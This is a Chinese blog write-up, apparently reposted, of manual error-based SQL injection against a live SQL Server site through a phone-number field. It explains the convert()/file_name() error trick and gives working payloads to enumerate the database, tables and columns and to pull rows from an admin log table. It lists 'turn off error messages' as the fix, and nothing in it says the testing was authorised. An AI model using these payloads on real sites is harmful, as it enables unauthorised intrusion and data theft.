實戰記錄之SQL server報錯手工注入


前言

最近測試了一個站點,這個站點挺有意思,發現沒有關閉錯誤提示,初步猜測是SQL server數據庫,后來驗證確實是。在這里記錄一下實戰過程,並詳細講解一下用到的知識點。

SQL server報錯注入原理

SQL server報錯注入的文章,網上有很多,大部分文章都列出了類似於公式的句子,卻沒有解釋為什么使用這樣的函數。這里用convert()函數舉例,convert()函數是是將日期轉換為新數據類型的通用函數。
對於咱們構造的payloadconvert(int,@@version),convert函數會先執行第二個參數指定的sql查詢,並嘗試轉化為int類型,因為查詢的結果是varchar類型,所以會轉化失敗報錯,報錯的信息當中有咱們需要的信息。
滿足這樣條件的函數很多,如:
convert() file_name() db_name() col_name()
還有一些其他的不列舉了。

發現注入點

之前猜測是SQL server數據庫,現在驗證一下,發現在輸入手機號的地方存在注入點,用sqlmap跑了一下沒跑出來,尷尬==,那就嘗試手工注入。構造payloadconvert(int,@@version),目的是查詢一下版本信息。

發現是SQL server數據庫

查詢基本信息

知道了版本,還需要查詢一下數據庫名,和當前用戶名(看看擁有多少權限)。
payload:
convert(int,db_name()) convert(int,user)

獲取表名

這里遇到了一點小問題,繼續使用convert()函數時,發現查詢的內容溢出了整數列。

這可如何是好,convert()無法使用了,所以咱們前面總結的實現相同功能的函數就派上用場了。這里更換函數,使用file_name()函數,構造payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U')))

可以查詢出第一張表,這時候可以在后面加一個條件語句and name !='上一個表名',可以查詢出第二張表。
payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U'and name !='上一個表名')))

如果想要查詢第三張表,再接着添加條件語句就可以了,可以查詢出所有的表。這里就不演示了。

獲取列名

payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制表名 as varchar))))

我們獲取到了第一個列名"編號",接下來依然再后面添加條件語句and COLUMN_NAME != '上一個列名'就可以獲取到第二個列名。
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制表名 as varchar) and COLUMN_NAME != '上一個列名')))


按照這種方法同樣可以查詢出所有列名。這里就不向下查詢了。

獲取數據

前面我們查詢到的表名有 S票據打印記錄``管理員操作記錄而我們獲取了管理員操作記錄下的列名編號管理員編號操作內容,下面我們查詢操作內容下的數據。
payload:
(select top 1 列名 from 表名)

依然可以通過條件語句獲取到其他的數據,這里就不在演示了。
SQL server報錯注入到此為止。

修復方案

關閉錯誤提示


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM